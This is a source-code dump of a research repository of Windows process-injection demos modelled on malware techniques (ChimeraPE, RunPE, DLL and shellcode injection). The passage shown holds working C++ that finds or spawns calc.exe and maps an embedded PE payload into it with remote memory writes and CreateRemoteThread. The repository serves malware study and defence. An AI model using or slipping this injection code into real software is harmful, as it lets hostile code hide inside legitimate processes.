├── .appveyor.yml ├── CMakeLists.txt ├── LICENSE ├── README.md ├── chimera_pe ├── README.md └── src │ ├── CMakeLists.txt │ ├── createproc.h │ ├── demo.bin │ ├── enumproc.h │ ├── inject_pe.h │ ├── load_imports.h │ ├── main.cpp │ ├── ntddk.h │ ├── ntdll_undoc.h │ ├── pe_hdrs_helper.cpp │ ├── pe_hdrs_helper.h │ ├── pe_raw_to_virtual.h │ ├── relocate.h │ ├── resource.h │ ├── resource.rc │ ├── run.bat │ ├── sysutil.cpp │ ├── sysutil.h │ └── target_util.h ├── chimera_pe_payload_template ├── README.md └── src │ ├── CMakeLists.txt │ ├── main.cpp │ ├── ntddk.h │ ├── reflective │ ├── pe_hdrs_helper.cpp │ ├── pe_hdrs_helper.h │ └── reflective_imports_load.h │ ├── start_actions.cpp │ ├── start_actions.h │ └── test.h ├── dll_injection ├── README.md └── src │ ├── CMakeLists.txt │ ├── createproc.h │ ├── demo.bin │ ├── enumproc.h │ ├── inject_with_loadlibrary.h │ ├── main.cpp │ ├── map_buffer_into_process.h │ ├── ntddk.h │ ├── resource.h │ ├── resource.rc │ ├── run.bat │ ├── sysutil.cpp │ ├── sysutil.h │ └── target_util.h ├── functions_loader ├── README.md └── src │ ├── CMakeLists.txt │ ├── exports_lookup.h │ ├── main.cpp │ ├── ntddk.h │ ├── pe_hdrs_helper.cpp │ ├── pe_hdrs_helper.h │ ├── peb_lookup.h │ ├── test.h │ └── usage_demo.h ├── inject_shellcode ├── README.md └── src │ ├── CMakeLists.txt │ ├── add_apc.h │ ├── add_thread.h │ ├── createproc.h │ ├── enumproc.h │ ├── kernel32_undoc.h │ ├── main.cpp │ ├── main.h │ ├── map_buffer_into_process.h │ ├── ntddk.h │ ├── ntdll_undoc.h │ ├── patch_context.h │ ├── patch_ep.h │ ├── payload.h │ ├── pe_hdrs_helper.cpp │ ├── pe_hdrs_helper.h │ ├── sysutil.cpp │ ├── sysutil.h │ ├── target_util.h │ ├── util.h │ ├── window_long_inject.cpp │ └── window_long_inject.h └── run_pe ├── README.md └── src ├── CMakeLists.txt ├── createproc.h ├── demo.bin ├── main.cpp ├── ntddk.h ├── ntdll_undoc.h ├── pe_hdrs_helper.cpp ├── pe_hdrs_helper.h ├── pe_raw_to_virtual.h ├── relocate.h ├── resource.h ├── resource.rc ├── run.bat ├── runpe.h ├── sysutil.cpp ├── sysutil.h └── target_util.h /.appveyor.yml: -------------------------------------------------------------------------------- 1 | os: 2 | - Visual Studio 2015 3 | 4 | platform: x64 5 | - x64 6 | 7 | branches: 8 | only: 9 | - master 10 | 11 | install: 12 | - git submodule update --init --recursive 13 | - set PATH=C:\Program Files\CMake\bin;%PATH% 14 | 15 | build: 16 | verbosity: detailed 17 | 18 | configuration: 19 | - Release 20 | - Debug 21 | 22 | environment: 23 | artifactName: $(APPVEYOR_PROJECT_NAME)-$(APPVEYOR_REPO_COMMIT)-$(CONFIGURATION) 24 | 25 | before_build: 26 | - mkdir build 27 | - cd build 28 | - cmake -DCMAKE_INSTALL_PREFIX:PATH=%APPVEYOR_BUILD_FOLDER%/%APPVEYOR_REPO_COMMIT% .. 29 | 30 | build_script: 31 | - cmake --build . --config %CONFIGURATION% --target install 32 | 33 | after_build: 34 | - mkdir %artifactName% 35 | - cp %APPVEYOR_BUILD_FOLDER%/%APPVEYOR_REPO_COMMIT%/* %artifactName% 36 | 37 | artifacts: 38 | - path: build\%artifactName% 39 | 40 | -------------------------------------------------------------------------------- /CMakeLists.txt: -------------------------------------------------------------------------------- 1 | cmake_minimum_required ( VERSION 2.8...3.21 ) 2 | project (injection_demos) 3 | 4 | # modules: 5 | set ( M_CHIMERA_LOADER "chimera_pe" ) 6 | set ( M_CHIMERA_PAYLOAD "chimera_pe_payload_template" ) 7 | set ( M_DLL_INJ "dll_injection" ) 8 | set ( M_FUNC_LOADER "functions_loader" ) 9 | set ( M_INJ_SHELC "inject_shellcode" ) 10 | set ( M_RUNPE "run_pe" ) 11 | 12 | # Add sub-directories 13 | # 14 | add_subdirectory( ${M_CHIMERA_LOADER}/src ) 15 | add_subdirectory( ${M_CHIMERA_PAYLOAD}/src ) 16 | 17 | add_subdirectory( ${M_DLL_INJ}/src ) 18 | add_subdirectory( ${M_FUNC_LOADER}/src ) 19 | add_subdirectory( ${M_INJ_SHELC}/src ) 20 | add_subdirectory( ${M_RUNPE}/src ) -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | BSD 2-Clause License 2 | 3 | Copyright (c) 2017, @hasherezade 4 | All rights reserved. 5 | 6 | Redistribution and use in source and binary forms, with or without 7 | modification, are permitted provided that the following conditions are met: 8 | 9 | * Redistributions of source code must retain the above copyright notice, this 10 | list of conditions and the following disclaimer. 11 | 12 | * Redistributions in binary form must reproduce the above copyright notice, 13 | this list of conditions and the following disclaimer in the documentation 14 | and/or other materials provided with the distribution. 15 | 16 | THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" 17 | AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE 18 | IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE 19 | DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE 20 | FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL 21 | DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR 22 | SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER 23 | CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, 24 | OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE 25 | OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 26 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # demos 2 | 3 | [![Build status](https://ci.appveyor.com/api/projects/status/4dm03v0325443lot?svg=true)](https://ci.appveyor.com/project/hasherezade/demos) 4 | [![License](https://img.shields.io/badge/License-BSD%202--Clause-blue.svg)](https://opensource.org/licenses/BSD-2-Clause) 5 | 6 | Demos of various injection techniques found in malware.
7 |
8 | To compile it, use Visual Studio and CMake: http://www.cmake.org/

9 | WARNING:
10 | Presented versions of the techniques are dedicated to 32-bit targets. They can be compiled also on Windows 64-bit, but the recommended system is Windows 32-bit.
11 |
12 | -------------------------------------------------------------------------------- /chimera_pe/README.md: -------------------------------------------------------------------------------- 1 | # chimera_pe 2 | ChimeraPE demo: maps another executable into the target process and runs both.
3 | This is an alternative method to the classic RunPE (process hollowing) - can be used in case if we want to run the original exe also.
4 | See also a template for a payload, that can be injected using this techique: 5 | https://github.com/hasherezade/demos/tree/master/chimera_pe_payload_template 6 |
7 | 8 | WARNING: This is a 32-bit version for demo purpose. See the extended version here:
9 | https://github.com/hasherezade/chimera_pe 10 |


11 | -------------------------------------------------------------------------------- /chimera_pe/src/CMakeLists.txt: -------------------------------------------------------------------------------- 1 | cmake_minimum_required ( VERSION 2.8...3.21 ) 2 | project (ChimeraPE) 3 | 4 | add_definitions(-DUNICODE -D_UNICODE) 5 | 6 | set (srcs 7 | main.cpp 8 | pe_hdrs_helper.cpp 9 | sysutil.cpp 10 | ) 11 | 12 | set (hdrs 13 | resource.h 14 | ntddk.h 15 | ntdll_undoc.h 16 | target_util.h 17 | enumproc.h 18 | createproc.h 19 | pe_hdrs_helper.h 20 | pe_raw_to_virtual.h 21 | load_imports.h 22 | relocate.h 23 | inject_pe.h 24 | sysutil.h 25 | ) 26 | 27 | set (rsrc 28 | resource.rc 29 | ) 30 | 31 | add_executable (ChimeraPE ${rsrc} ${hdrs} ${srcs}) 32 | 33 | INSTALL( TARGETS ${PROJECT_NAME} DESTINATION ${CMAKE_INSTALL_PREFIX} COMPONENT ${PROJECT_NAME} ) 34 | -------------------------------------------------------------------------------- /chimera_pe/src/createproc.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | bool create_new_process1(IN LPWSTR path, OUT PROCESS_INFORMATION &pi) 4 | { 5 | STARTUPINFO si; 6 | memset(&si, 0, sizeof(STARTUPINFO)); 7 | si.cb = sizeof(STARTUPINFO); 8 | 9 | memset(&pi, 0, sizeof(PROCESS_INFORMATION)); 10 | 11 | if (!CreateProcess( 12 | NULL, 13 | path, 14 | NULL, //lpProcessAttributes 15 | NULL, //lpThreadAttributes 16 | FALSE, //bInheritHandles 17 | CREATE_SUSPENDED, //dwCreationFlags 18 | NULL, //lpEnvironment 19 | NULL, //lpCurrentDirectory 20 | &si, //lpStartupInfo 21 | &pi //lpProcessInformation 22 | )) 23 | { 24 | printf("[ERROR] CreateProcess failed, Error = %x\n", GetLastError()); 25 | return false; 26 | } 27 | return true; 28 | } 29 | -------------------------------------------------------------------------------- /chimera_pe/src/demo.bin: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hasherezade/demos/96ae61e323d49d75799c94bca94279052afc809d/chimera_pe/src/demo.bin -------------------------------------------------------------------------------- /chimera_pe/src/enumproc.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | #include 3 | 4 | bool get_process_name(IN HANDLE hProcess, OUT LPWSTR nameBuf, IN SIZE_T nameMax) 5 | { 6 | HMODULE hMod; 7 | DWORD cbNeeded; 8 | 9 | if (EnumProcessModules( hProcess, &hMod, sizeof(hMod), &cbNeeded)) { 10 | GetModuleBaseName( hProcess, hMod, nameBuf, nameMax ); 11 | return true; 12 | } 13 | return false; 14 | } 15 | 16 | bool is_searched_process( DWORD processID, LPWSTR searchedName) 17 | { 18 | HANDLE hProcess = OpenProcess( PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, processID ); 19 | if (hProcess == NULL) return false; 20 | 21 | WCHAR szProcessName[MAX_PATH]; 22 | if (get_process_name(hProcess, szProcessName, MAX_PATH)) { 23 | if (wcsstr(szProcessName, searchedName) != NULL) { 24 | printf( "%S (PID: %u)\n", szProcessName, processID ); 25 | CloseHandle(hProcess); 26 | return true; 27 | } 28 | } 29 | CloseHandle(hProcess); 30 | return false; 31 | } 32 | 33 | HANDLE find_running_process(LPWSTR searchedName) 34 | { 35 | DWORD aProcesses[1024], cbNeeded, cProcesses; 36 | unsigned int i; 37 | 38 | if ( !EnumProcesses( aProcesses, sizeof(aProcesses), &cbNeeded)) { 39 | return NULL; 40 | } 41 | 42 | //calculate how many process identifiers were returned. 43 | cProcesses = cbNeeded / sizeof(DWORD); 44 | 45 | //search handle to the process of defined name 46 | for ( i = 0; i < cProcesses; i++ ) { 47 | if( aProcesses[i] != 0 ) { 48 | if (is_searched_process(aProcesses[i], searchedName)) { 49 | HANDLE hProcess = OpenProcess( PROCESS_ALL_ACCESS, FALSE, aProcesses[i]); 50 | return hProcess; 51 | } 52 | } 53 | } 54 | return NULL; 55 | } 56 | -------------------------------------------------------------------------------- /chimera_pe/src/inject_pe.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #include 4 | #include 5 | 6 | #include "ntdll_undoc.h" 7 | #include "createproc.h" 8 | 9 | #include "pe_raw_to_virtual.h" 10 | #include "relocate.h" 11 | #include "load_imports.h" 12 | 13 | bool run_injected_in_new_thread(HANDLE hProcess, LPVOID remote_shellcode_ptr) 14 | { 15 | NTSTATUS status = NULL; 16 | //create a new thread for the injected code: 17 | LPTHREAD_START_ROUTINE routine = (LPTHREAD_START_ROUTINE) remote_shellcode_ptr; 18 | 19 | DWORD threadId = NULL; 20 | HANDLE hMyThread = NULL; 21 | if ((hMyThread = CreateRemoteThread(hProcess, NULL, NULL, routine, NULL, CREATE_SUSPENDED, &threadId)) == NULL) { 22 | printf("[ERROR] CreateRemoteThread failed, status : %x\n", GetLastError()); 23 | return false; 24 | } 25 | printf("Created Thread, id = %x\n", threadId); 26 | printf("Resuming added thread...\n"); 27 | ResumeThread(hMyThread); //injected code 28 | return true; 29 | } 30 | 31 | /* 32 | inject_PE32: 33 | targetPath - application where we want to inject 34 | payload - buffer with raw image of PE that we want to inject 35 | payload_size - size of the above 36 | */ 37 | bool inject_PE32(HANDLE hProcess, BYTE* payload, SIZE_T payload_size) 38 | { 39 | if (!load_ntdll_functions()) return false; 40 | 41 | //check payload: 42 | IMAGE_NT_HEADERS32* payload_nt_hdr = get_nt_hrds32(payload); 43 | if (payload_nt_hdr == NULL) { 44 | printf("Invalid payload: %p\n", payload); 45 | return false; 46 | } 47 | SIZE_T written = 0; 48 | const ULONGLONG oldImageBase = payload_nt_hdr->OptionalHeader.ImageBase; 49 | DWORD payloadImageSize = payload_nt_hdr->OptionalHeader.SizeOfImage; 50 | 51 | LPVOID remoteAddress = VirtualAllocEx(hProcess, NULL, payloadImageSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); 52 | if (remoteAddress == NULL) { 53 | printf("Could not allocate memory in the remote process\n"); 54 | return false; 55 | } 56 | printf("Allocated remote ImageBase: %p size: %x\n", remoteAddress, payloadImageSize); 57 | 58 | //first we will prepare the payload image in the local memory, so that it will be easier to edit it, apply relocations etc. 59 | //when it will be ready, we will copy it into the space reserved in the target process 60 | LPVOID localCopyAddress = VirtualAlloc(NULL, payloadImageSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);; 61 | if (localCopyAddress == NULL) { 62 | printf("Could not allocate memory in the current process\n"); 63 | return false; 64 | } 65 | printf("Allocated local memory: %p size: %x\n", localCopyAddress, payloadImageSize); 66 | 67 | if (!copy_pe_to_virtual_l(payload, payload_size, localCopyAddress)) { 68 | printf("Could not copy PE file\n"); 69 | return false; 70 | } 71 | printf("remoteAddress = %p\n", remoteAddress); 72 | //if the base address of the payload changed, we need to apply relocations: 73 | if ((ULONGLONG) remoteAddress != oldImageBase) { 74 | if (apply_relocations((ULONGLONG)remoteAddress, oldImageBase, localCopyAddress) == false) { 75 | printf("[ERROR] Could not relocate image!\n"); 76 | return false; 77 | } 78 | } 79 | 80 | if (apply_imports(localCopyAddress) == false) { 81 | printf("[WARNING] Some imports cannot be resolved by loader!\n[!] Payload should resolve remaining imports, or the application will crash!\n"); 82 | } 83 | 84 | // paste the local copy of the prepared image into the reserved space inside the remote process: 85 | if (!WriteProcessMemory(hProcess, remoteAddress, localCopyAddress, payloadImageSize, &written) || written != payloadImageSize) { 86 | printf("[ERROR] Could not paste the image into remote process!\n"); 87 | return false; 88 | } 89 | //free the localy allocated copy 90 | VirtualFree(localCopyAddress, payloadImageSize, MEM_FREE); 91 | 92 | LPVOID newEP = (LPVOID)((ULONGLONG) remoteAddress + payload_nt_hdr->OptionalHeader.AddressOfEntryPoint); 93 | printf("newEP = %p\n", newEP); 94 | run_injected_in_new_thread(hProcess, newEP); 95 | 96 | return true; 97 | } 98 | -------------------------------------------------------------------------------- /chimera_pe/src/load_imports.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | #include 3 | #include 4 | 5 | #include "pe_hdrs_helper.h" 6 | 7 | // warning! most of the libraries are loaded at different bases in different processes 8 | // that's why, we cannot solve their handles by this way 9 | // kernel32.dll and ntdll.dll are some of the exceptions - plus, they are loaded by every process 10 | // that's why it is safe to solve it by external loader 11 | #define SUPPORTED_LIB_NAME "kernel32.dll" 12 | #define SUPPORTED_LIB_NAME2 "ntdll.dll" 13 | 14 | // user32.dll is also loaded at the same base, however, not every process will load it 15 | // if your payload needs it, and the target doesn't have it, it will crash! 16 | #define SUPPORTED_LIB_NAME3 "user32.dll" 17 | // if you want to include it add: 18 | // #define TARGET_HAS_USER32 19 | 20 | bool is_name(LPSTR lib_name, LPSTR supported_lib) 21 | { 22 | SIZE_T kernel_name_len = strlen(supported_lib); 23 | 24 | size_t lib_name_len = strlen(lib_name); 25 | 26 | for (size_t i = 0; i < kernel_name_len && i < lib_name_len; i++) { 27 | CHAR c = tolower(lib_name[i]); 28 | if (c != supported_lib[i]) return false; 29 | } 30 | return true; 31 | } 32 | 33 | bool is_supported(LPSTR lib_name) 34 | { 35 | if (is_name(lib_name, SUPPORTED_LIB_NAME)) { 36 | return true; 37 | } 38 | if (is_name(lib_name, SUPPORTED_LIB_NAME2)) { 39 | return true; 40 | } 41 | #ifdef TARGET_HAS_USER32 42 | if (is_name(lib_name, SUPPORTED_LIB_NAME3)) { 43 | return true; 44 | } 45 | #endif 46 | return false; 47 | } 48 | 49 | bool write_handle_b32(LPCSTR lib_name, DWORD call_via, LPSTR func_name, LPVOID modulePtr) 50 | { 51 | HMODULE hBase = LoadLibraryA(lib_name); 52 | if (hBase == NULL) return false; 53 | 54 | FARPROC hProc = GetProcAddress(hBase, func_name); 55 | LPVOID call_via_ptr = (LPVOID)((ULONGLONG)modulePtr + call_via); 56 | memcpy(call_via_ptr, &hProc, sizeof(DWORD)); 57 | printf("proc addr: %p -> %p\n", hProc, call_via_ptr); 58 | return true; 59 | } 60 | 61 | bool solve_imported_funcs_b32(LPCSTR lib_name, DWORD call_via, DWORD thunk_addr, LPVOID modulePtr) 62 | { 63 | do { 64 | LPVOID call_via_ptr = (LPVOID)((ULONGLONG)modulePtr + call_via); 65 | if (call_via_ptr == NULL) break; 66 | 67 | LPVOID thunk_ptr = (LPVOID)((ULONGLONG)modulePtr + thunk_addr); 68 | if (thunk_ptr == NULL) break; 69 | 70 | DWORD *thunk_val = (DWORD*)thunk_ptr; 71 | DWORD *call_via_val = (DWORD*)call_via_ptr; 72 | if (*call_via_val == 0) { 73 | //nothing to fill, probably the last record 74 | return true; 75 | } 76 | //those two values are supposed to be the same before the file have imports filled 77 | //so, if they are different it means the handle is already filled 78 | if (*thunk_val == *call_via_val) { 79 | IMAGE_THUNK_DATA32* desc = (IMAGE_THUNK_DATA32*) thunk_ptr; 80 | if (desc->u1.Function == NULL) break; 81 | 82 | PIMAGE_IMPORT_BY_NAME by_name = (PIMAGE_IMPORT_BY_NAME) ((ULONGLONG) modulePtr + desc->u1.AddressOfData); 83 | if (desc->u1.Ordinal & IMAGE_ORDINAL_FLAG32) { 84 | printf("Imports by ordinals are not supported!\n"); 85 | return false; 86 | } 87 | LPSTR func_name = by_name->Name; 88 | printf("name: %s\n", func_name); 89 | if (!write_handle_b32(lib_name, call_via, func_name, modulePtr)) { 90 | printf("Could not load the handle!\n"); 91 | return false; 92 | } 93 | } 94 | call_via += sizeof(DWORD); 95 | thunk_addr += sizeof(DWORD); 96 | } while (true); 97 | return true; 98 | } 99 | 100 | //fills handles of mapped pe file 101 | bool apply_imports(PVOID modulePtr) 102 | { 103 | IMAGE_DATA_DIRECTORY *importsDir = get_pe_directory32(modulePtr, IMAGE_DIRECTORY_ENTRY_IMPORT); 104 | if (importsDir == NULL) return false; 105 | 106 | DWORD maxSize = importsDir->Size; 107 | DWORD impAddr = importsDir->VirtualAddress; 108 | 109 | IMAGE_IMPORT_DESCRIPTOR* lib_desc = NULL; 110 | bool isAllFilled = true; 111 | DWORD parsedSize = 0; 112 | 113 | printf("---IMP---\n"); 114 | while (parsedSize < maxSize) { 115 | lib_desc = (IMAGE_IMPORT_DESCRIPTOR*)(impAddr + parsedSize + (ULONG_PTR) modulePtr); 116 | parsedSize += sizeof(IMAGE_IMPORT_DESCRIPTOR); 117 | 118 | if (lib_desc->OriginalFirstThunk == NULL && lib_desc->FirstThunk == NULL) { 119 | break; 120 | } 121 | 122 | printf("Imported Lib: %x : %x : %x\n", lib_desc->FirstThunk, lib_desc->OriginalFirstThunk, lib_desc->Name); 123 | LPSTR lib_name = (LPSTR)((ULONGLONG)modulePtr + lib_desc->Name); 124 | printf("name: %s\n", lib_name); 125 | if (!is_supported(lib_name)) { 126 | isAllFilled = false; 127 | //skip libraries that cannot be filled 128 | continue; 129 | } 130 | 131 | DWORD call_via = lib_desc->FirstThunk; 132 | DWORD thunk_addr = lib_desc->OriginalFirstThunk; 133 | if (thunk_addr == NULL) thunk_addr = lib_desc->FirstThunk; 134 | 135 | solve_imported_funcs_b32(lib_name, call_via, thunk_addr, modulePtr); 136 | } 137 | if (isAllFilled == false) { 138 | printf("WARNING: Some libraries are not filled!\nFor this method to work, EXE cannot have other imports than kernel32.dll or user32.dll!\n"); 139 | } 140 | printf("---------\n"); 141 | return isAllFilled; 142 | } 143 | -------------------------------------------------------------------------------- /chimera_pe/src/main.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | 4 | #include "resource.h" 5 | #include "inject_pe.h" 6 | #include "target_util.h" 7 | #include "enumproc.h" 8 | #include "sysutil.h" 9 | 10 | BYTE* get_raw_payload(OUT SIZE_T &res_size) 11 | { 12 | HMODULE hInstance = GetModuleHandle(NULL); 13 | HRSRC res = FindResource(hInstance, MAKEINTRESOURCE(MY_RESOURCE), RT_RCDATA); 14 | if (!res) return NULL; 15 | 16 | HGLOBAL res_handle = LoadResource(NULL, res); 17 | if (res_handle == NULL) return NULL; 18 | 19 | BYTE* res_data = (BYTE*) LockResource(res_handle); 20 | res_size = SizeofResource(NULL, res); 21 | 22 | BYTE* out_buf = (BYTE*) VirtualAlloc(NULL,res_size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); 23 | memcpy(out_buf, res_data, res_size); 24 | 25 | FreeResource(res_handle); 26 | return out_buf; 27 | } 28 | 29 | HANDLE make_new_process(HANDLE &mainThread) 30 | { 31 | WCHAR targetPath[MAX_PATH]; 32 | if (!get_calc_path(targetPath, MAX_PATH)) { 33 | return NULL; 34 | } 35 | //create target process: 36 | PROCESS_INFORMATION pi; 37 | if (!create_new_process1(targetPath, pi)) return false; 38 | printf("PID: %d\n", pi.dwProcessId); 39 | 40 | //store the handle to the main thread, so that we can resume it later 41 | mainThread = pi.hThread; 42 | return pi.hProcess; 43 | } 44 | 45 | int main(int argc, char *argv[]) 46 | { 47 | BYTE* res_data = NULL; 48 | SIZE_T res_size = 0; 49 | 50 | if ((res_data = get_raw_payload(res_size)) == NULL) { 51 | printf("Failed!\n"); 52 | return -1; 53 | } 54 | if (!is_compiled_32b()) { 55 | printf("[ERROR] Not supported! Compile the loader as a 32 bit application!\n"); 56 | system("pause"); 57 | return (-1); 58 | } 59 | //we may inject into existing process 60 | HANDLE hProcess = find_running_process(L"calc.exe"); 61 | HANDLE mainThread = NULL; 62 | if (!hProcess) { 63 | //or create a new one: 64 | hProcess = make_new_process(mainThread); 65 | } 66 | if (inject_PE32(hProcess, res_data, res_size)) { 67 | printf("Injected!\n"); 68 | } else { 69 | printf("Injection failed\n"); 70 | } 71 | 72 | //in case if the injection was to a new process 73 | //we may like to resume it's main thread 74 | if (mainThread) { 75 | ResumeThread(mainThread); 76 | } 77 | CloseHandle(hProcess); 78 | VirtualFree(res_data, res_size, MEM_FREE); 79 | system("pause"); 80 | return 0; 81 | } 82 | -------------------------------------------------------------------------------- /chimera_pe/src/ntdll_undoc.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #include 4 | #include "ntddk.h" 5 | 6 | //don't forget to load functions before use: 7 | //load_ntdll_functions(); 8 | 9 | NTSTATUS (NTAPI *_NtUnmapViewOfSection) ( 10 | IN HANDLE ProcessHandle, 11 | IN PVOID BaseAddress 12 | ); 13 | 14 | 15 | BOOL load_ntdll_functions() 16 | { 17 | HMODULE hNtdll = GetModuleHandleA("ntdll"); 18 | if (hNtdll == NULL) return FALSE; 19 | 20 | _NtUnmapViewOfSection = (NTSTATUS (NTAPI *) (HANDLE, PVOID)) GetProcAddress(hNtdll,"NtUnmapViewOfSection"); 21 | if (_NtUnmapViewOfSection == NULL) return FALSE; 22 | 23 | return TRUE; 24 | } 25 | -------------------------------------------------------------------------------- /chimera_pe/src/pe_hdrs_helper.cpp: -------------------------------------------------------------------------------- 1 | #include "pe_hdrs_helper.h" 2 | 3 | IMAGE_NT_HEADERS32* get_nt_hrds32(BYTE *pe_buffer) 4 | { 5 | if (pe_buffer == NULL) return NULL; 6 | 7 | IMAGE_DOS_HEADER *idh = (IMAGE_DOS_HEADER*)pe_buffer; 8 | if (idh->e_magic != IMAGE_DOS_SIGNATURE) { 9 | return NULL; 10 | } 11 | const LONG kMaxOffset = 1024; 12 | LONG pe_offset = idh->e_lfanew; 13 | if (pe_offset > kMaxOffset) return NULL; 14 | 15 | IMAGE_NT_HEADERS32 *inh = (IMAGE_NT_HEADERS32 *)((BYTE*)pe_buffer + pe_offset); 16 | return inh; 17 | } 18 | 19 | IMAGE_DATA_DIRECTORY* get_pe_directory32(PVOID pe_buffer, DWORD dir_id) 20 | { 21 | if (dir_id >= IMAGE_NUMBEROF_DIRECTORY_ENTRIES) return NULL; 22 | 23 | //fetch relocation table from current image: 24 | PIMAGE_NT_HEADERS32 nt_headers = get_nt_hrds32((BYTE*) pe_buffer); 25 | if (nt_headers == NULL) return NULL; 26 | 27 | IMAGE_DATA_DIRECTORY* peDir = &(nt_headers->OptionalHeader.DataDirectory[dir_id]); 28 | if (peDir->VirtualAddress == NULL) { 29 | return NULL; 30 | } 31 | return peDir; 32 | } 33 | -------------------------------------------------------------------------------- /chimera_pe/src/pe_hdrs_helper.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | #include 3 | 4 | IMAGE_NT_HEADERS32* get_nt_hrds32(BYTE *pe_buffer); 5 | IMAGE_DATA_DIRECTORY* get_pe_directory32(PVOID pe_buffer, DWORD dir_id); 6 | -------------------------------------------------------------------------------- /chimera_pe/src/pe_raw_to_virtual.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #include 4 | #include 5 | 6 | #include "pe_hdrs_helper.h" 7 | 8 | // Map raw PE into virtual memory of remote process 9 | bool copy_pe_to_virtual_r(BYTE* payload, SIZE_T payload_size, LPVOID baseAddress, HANDLE hProcess) 10 | { 11 | if (payload == NULL) return false; 12 | 13 | IMAGE_NT_HEADERS32* payload_nt_hdr = get_nt_hrds32(payload); 14 | if (payload_nt_hdr == NULL) { 15 | printf("Invalid payload: %p\n", payload); 16 | return false; 17 | } 18 | 19 | SIZE_T written = 0; 20 | 21 | //copy payload's headers: 22 | const DWORD kHdrsSize = payload_nt_hdr->OptionalHeader.SizeOfHeaders; 23 | if (!WriteProcessMemory(hProcess, baseAddress, payload, kHdrsSize, &written)) { 24 | return false; 25 | } 26 | if (written != kHdrsSize) return false; 27 | 28 | printf("Copied payload's headers to: %p\n", baseAddress); 29 | 30 | LPVOID secptr = &(payload_nt_hdr->OptionalHeader); 31 | const DWORD kOptHdrSize = payload_nt_hdr->FileHeader.SizeOfOptionalHeader; 32 | 33 | //copy all the sections, one by one: 34 | secptr = LPVOID((ULONGLONG) secptr + kOptHdrSize); 35 | 36 | printf("Coping sections remotely:\n"); 37 | for (WORD i = 0; i < payload_nt_hdr->FileHeader.NumberOfSections; i++) { 38 | PIMAGE_SECTION_HEADER next_sec = (PIMAGE_SECTION_HEADER)((ULONGLONG)secptr + (IMAGE_SIZEOF_SECTION_HEADER * i)); 39 | 40 | LPVOID section_place = (BYTE*) baseAddress + next_sec->VirtualAddress; 41 | LPVOID section_raw_ptr = payload + next_sec->PointerToRawData; 42 | 43 | if (!WriteProcessMemory(hProcess, section_place, section_raw_ptr, next_sec->SizeOfRawData, &written)) { 44 | return false; 45 | } 46 | if (written != next_sec->SizeOfRawData) return false; 47 | printf("[+] %s to: %p\n", next_sec->Name, section_place); 48 | } 49 | return true; 50 | } 51 | 52 | // Map raw PE into virtual memory of local process: 53 | bool copy_pe_to_virtual_l(BYTE* payload, SIZE_T payload_size, LPVOID baseAddress) 54 | { 55 | if (payload == NULL) return false; 56 | 57 | IMAGE_NT_HEADERS32* payload_nt_hdr = get_nt_hrds32(payload); 58 | if (payload_nt_hdr == NULL) { 59 | printf("Invalid payload: %p\n", payload); 60 | return false; 61 | } 62 | //copy payload's headers: 63 | const DWORD kHdrsSize = payload_nt_hdr->OptionalHeader.SizeOfHeaders; 64 | memcpy(baseAddress, payload, kHdrsSize); 65 | 66 | LPVOID secptr = &(payload_nt_hdr->OptionalHeader); 67 | const DWORD kOptHdrSize = payload_nt_hdr->FileHeader.SizeOfOptionalHeader; 68 | 69 | //copy all the sections, one by one: 70 | secptr = LPVOID((ULONGLONG) secptr + kOptHdrSize); 71 | 72 | printf("Coping sections locally:\n"); 73 | for (WORD i = 0; i < payload_nt_hdr->FileHeader.NumberOfSections; i++) { 74 | PIMAGE_SECTION_HEADER next_sec = (PIMAGE_SECTION_HEADER)((ULONGLONG)secptr + (IMAGE_SIZEOF_SECTION_HEADER * i)); 75 | 76 | LPVOID section_place = (BYTE*) baseAddress + next_sec->VirtualAddress; 77 | LPVOID section_raw_ptr = payload + next_sec->PointerToRawData; 78 | memcpy(section_place, section_raw_ptr, next_sec->SizeOfRawData); 79 | printf("[+] %s to: %p\n", next_sec->Name, section_place); 80 | } 81 | return true; 82 | } 83 | -------------------------------------------------------------------------------- /chimera_pe/src/relocate.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | #include 3 | #include 4 | #include "pe_hdrs_helper.h" 5 | 6 | #define RELOC_32BIT_FIELD 3 7 | 8 | typedef struct _BASE_RELOCATION_ENTRY { 9 | WORD Offset : 12; 10 | WORD Type: 4; 11 | } BASE_RELOCATION_ENTRY; 12 | 13 | bool has_relocations(BYTE *pe_buffer) 14 | { 15 | IMAGE_DATA_DIRECTORY* relocDir = get_pe_directory32(pe_buffer, IMAGE_DIRECTORY_ENTRY_BASERELOC); 16 | if (relocDir == NULL) { 17 | return false; 18 | } 19 | return true; 20 | } 21 | 22 | bool apply_reloc_block32(BASE_RELOCATION_ENTRY *block, SIZE_T entriesNum, DWORD page, ULONGLONG oldBase, 